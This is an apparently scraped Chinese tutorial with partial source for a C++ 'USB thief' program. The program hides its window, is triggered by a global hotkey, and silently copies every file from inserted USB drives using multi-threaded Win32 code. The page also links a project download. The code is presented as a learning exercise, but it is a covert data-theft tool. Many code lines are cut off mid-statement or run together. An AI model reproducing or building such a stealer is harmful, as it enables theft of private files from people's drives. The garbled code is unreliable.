C++实现U盘小偷(超详细版) | 您所在的位置:网站首页 › oo1app复制搜索有惊喜 › C++实现U盘小偷(超详细版) |
文章目录 前言一、程序演示二、项目下载三、源代码四、代码解析1.main函数2.RegisterGlobalKey与UnRegistreGlobalKey函数3.DealMsg函数4.FindDriver函数5.ThrToSearch线程搜索函数6.ThrToCopy线程拷贝函数7.FindAllFile函数 前言 U盘小偷,顾名思义,是一种可以在暗中窃取U盘数据的一个程序 但本文志不在此,主要是学习U盘小偷程序中所用到的技术 我也在网上看到过部分U盘小偷源代码,发现很多缺陷,比如代码臃肿,执行效率缓慢,操作繁琐 所以我花了一天左右,也写了一个U盘小偷,并经过了十来次的代码测试,修复了相当多的Bug,最终成型,可稳定持续运行 运行环境为VS(Visual Studio),网上安装教程很多,这里就不再赘述,个人使用推荐安装社区版,免费使用且与其它版本区别不大,注意必须要安装C++开发环境 此程序主要特色有: 程序可完全隐藏可通过全局快捷键显示或隐藏程序,启动或退出程序多线程并发执行,大大提高执行速度此程序设计到的知识点有: WIndows消息循环C++结合Win API函数编程多线程编程防程序多开 一、程序演示如果觉得快捷键不符合自己的习惯,可直接在此处更改: 具体如何更改,请参考RegisterHotKey 函数官方文档 二、项目下载点击此处下载 三,四项为项目工程,分别为vs2019和vs2022的项目 如果觉得应用图标不好看的,可以进入UDisktThief文件夹,删除app.ico文件,并将自己喜欢的icon格式的图像文件拷贝到这里,改名为app.ico,然后重新编译即可 第一行,使用到了两个Win API:GetConsoleWindow,ShowWindow GetConsoleWindow() //获取当前控制台窗口的句柄 BOOL ShowWindow( HWND hWnd, //要操作的窗口句柄 int nCmdShow //设置窗口显示方式,可以直接填false,为隐藏,true为显示,更多显示方式可点击上方函数颜色字体,跳转到官网查看 );作用为将当前控制台隐藏 第二、三行,使用到的API函数为:CreateMutex,GetLastError HANDLE CreateMutexA( LPSECURITY_ATTRIBUTES lpMutexAttributes, //安全属性,一般直接填NULL即可,默认安全 BOOL bInitialOwner, //是否拥有该内核,TRUE或FALSE应都可 LPCSTR lpName //该内核的名称,我用的是随机生成的GUID码,避免与其它程序相同 ); GetLastError(); //获取错误码作用:尝试创建一个叫"DBF4E165-EE50-47D9-B2D6-ADA8C0B05887"的内核对象,如果获取的错误码等于ERROR_ALREADY_EXISTS,表示该程序已经运行,直接退出,否则则正常运行 2.RegisterGlobalKey与UnRegistreGlobalKey函数然后两行为我写的两个函数,分别用于注销全局热键和注册全局热键 bool RegisterGlobalKey() { bool ret = RegisterHotKey(NULL, 'l', MOD_CONTROL, VK_CONTROL); //单击Ctrl开启运行 if (!ret) return ret; ret = RegisterHotKey(NULL, 'q', MOD_CONTROL, 'Q'); //Ctrl+Q 退出程序 if (!ret) return ret; ret = RegisterHotKey(NULL, 's', MOD_ALT, 'Z'); //alt+Z 显示与隐藏窗口 if (!ret) return ret; return ret; } void UnRegistreGlobalKey() { UnregisterHotKey(NULL,'l'); UnregisterHotKey(NULL,'q'); UnregisterHotKey(NULL,'s'); }这两个函数非常简单,只是调用了两个win API函数:RegisterHotKey和UnregisterHotKey BOOL RegisterHotKey( HWND hWnd, //收全局热键消息的窗口,填NULL,表示将消息发送到当前线程 int id, //标识消息,通过这个可以识别消息,我这里使用的l代表启动(launch)程序,q代表退出(quit),s代表显示或隐藏窗口(show) UINT fsModifiers,//组合键,就是经常使用的Ctrl,alt等 UINT vk //和组合键配合的键,两者结合成为完成的组合键,我注册了Ctrl,alt+Z,Ctrl+Q三个快捷键 ); BOOL UnregisterHotKey( HWND hWnd, //要取消热键的窗口 int id //信息id,与注册信息id使用的同一个值 );之所以先调用注销,也是以防万一全局快捷键被其它程序注册,注销后就注册热键,如注册热键失败则直接退出程序. 然后用到了win API函数:SetConsoleTitleW BOOL WINAPI SetConsoleTitle( LPCTSTR lpConsoleTitle //要为当前控制台设置的标题 );该函数的作用只是修改控制台窗口的标题 然后来到了最关键的一步------消息队列,使用到了Win API函数:GetMessage和一个消息结构体MSG BOOL GetMessage( [out] LPMSG lpMsg, //存放收到的消息 [in, optional] HWND hWnd, //收哪个窗口的消息,填NULL,收本线程的消息 [in] UINT wMsgFilterMin, //要收最低消息id,一般直接填0即可 [in] UINT wMsgFilterMax //要收最高消息id,一般直接填0即可,收所有消息 ); typedef struct tagMSG { HWND hwnd; //接收消息的窗口句柄 UINT message; //消息标识符 WPARAM wParam; //参数,取决于具体消息类型,此程序消息中,该参数的内容为之前注册的消息id LPARAM lParam; ///参数,取决于具体消息类型,此程序消息中,无用 DWORD time; //消息被发送的时间 POINT pt; //消息发送时,鼠标的坐标 DWORD lPrivate; //无说明 } MSG, *PMSG, *NPMSG, *LPMSG;该函数的作用就是不断收取属于自己的消息,然后将消息交给DealMsg函数处理,如果该函数返回false,则退出消息循环,即退出程序 最后注销之前注册的全局热键,最后退出 3.DealMsg函数 bool g_bExit = false; //决定拷贝文件的线程是否退出 bool isShow = false; //当前窗口是否显示 bool DealMsg(WPARAM wParam) { //处理消息 switch (wParam) { case 'l': //开始执行程序 { cout char* buf = new char[4]{}; //盘符名大小为3字节,加\0,共4字节 strcpy_s(buf,4,uDrive[i].data()); _beginthreadex(0, 0, ThrToSearch, buf, 0, 0); //开启遍历文件线程 } g_exitThread = 1; for (int i = 0; i int len = GetLogicalDriveStringsA(0, 0); //获取盘符名总长度 std::string dri; dri.resize(len); GetLogicalDriveStringsA(len, (LPSTR)dri.c_str());//获取盘符名 vector uDrive; //存储U盘名 for (int i = 0; i char* buf = new char[4]{}; //盘符名大小为3字节,加\0,共4字节 strcpy_s(buf,4,uDrive[i].data()); _beginthreadex(0, 0, ThrToSearch, buf, 0, 0); //开启遍历文件线程 }然后就是为当前电脑的每个U盘都开启搜索线程,将U盘名拷贝到堆中,然后将指针传递给搜索线程 这里使用的是C语言的线程库#include,用到的就是这个开启线程的函数 _ACRTIMP uintptr_t __cdecl _beginthreadex( void* _Security, //安全属性,一般填NULL unsigned _StackSize, //线程的初始栈大小,填0,默认 _beginthreadex_proc_type _StartAddress, //线程的入口函数 void* _ArgList, //为线程传递的参数 unsigned _InitFlag, //线程启动标志,填0立即启动 unsigned* _ThrdAddr //返回线程的ID,填0,不接收即可 );该函数与Windows API创建线程的函数CreateThread各个参数含义相同,可以参考官方文档 开启搜索线程之后,就是开启拷贝线程了 g_exitThread = 1; for (int i = 0; i FindAllFile(g_savePath, (char*)param); delete param; while (!g_qFile.empty()) Sleep(1000); //队列任务未处理完成,休眠 g_bExit = true; //退出复制文件的线程 WaitForMultipleObjects(g_numofThread,hThread,TRUE, INFINITE); g_SpendTime = GetTickCount64() - g_SpendTime; int ms = (int)g_SpendTime % 1000; //毫秒 g_SpendTime /= 1000; int sec = (int)g_SpendTime % 60; //秒 g_SpendTime /= 60; int minutes = (int)g_SpendTime % 60; //分钟 int hours = (int)g_SpendTime / 60; //小时 g_outMutex.lock(); cout oldFile = _oldFile; newFile = _newFile; } }; queue g_qFile; //文件信息队列当搜索完成后,进入while循环,等待文件信息队列中的信息全部被拷贝完成 while (!g_qFile.empty()) Sleep(1000); //队列任务未处理完成,休眠然后就是等待所有拷贝线程结束,方法是设置全局变量g_bExit 为true通知线程,然后再等待所有线程结束 g_bExit = true; //退出复制文件的线程 WaitForMultipleObjects(g_numofThread,hThread,TRUE, INFINITE);这里使用到的一个Win API函数WaitForMultipleObjects DWORD WaitForMultipleObjects( [in] DWORD nCount, //要等待的线程数量 [in] const HANDLE *lpHandles, //线程句柄数组 [in] BOOL bWaitAll, //是否等待所有 [in] DWORD dwMilliseconds //等待时间,INFINITE,也就是-1,为一直等待 );当然此函数的用法并不局限于线程句柄,其它用法请参考官方文档 然后就简单了,当所有拷贝线程完成工作退出,就是计算一下花费了多少时间并输出 主要需要注意的点是输出的操作 g_outMutex.lock(); cout //从队列中取数据 g_qMutex.lock(); if (g_qFile.empty()) { g_qMutex.unlock(); continue; } DString cf = g_qFile.front(); g_qFile.pop(); g_qMutex.unlock(); g_outMutex.lock(); cout }; HANDLE hFile = FindFirstFileA((dir + "\\*").c_str(), &fileData); if (hFile == INVALID_HANDLE_VALUE) return; do { if (strcmp(fileData.cFileName, ".") == 0 || strcmp(fileData.cFileName, "..") == 0) continue; if (fileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { //如果为目录,进行递归 FindAllFile((savePath + '\\' + fileData.cFileName).data(), (dir + '\\' + fileData.cFileName).data()); continue; } //找到文件,添加到队列 g_qMutex.lock(); g_qFile.push(DString(dir + "\\" + fileData.cFileName, savePath + "\\" + fileData.cFileName)); g_qMutex.unlock(); //输出相应信息 g_outMutex.lock(); cout |
CopyRight 2018-2019 实验室设备网 版权所有 |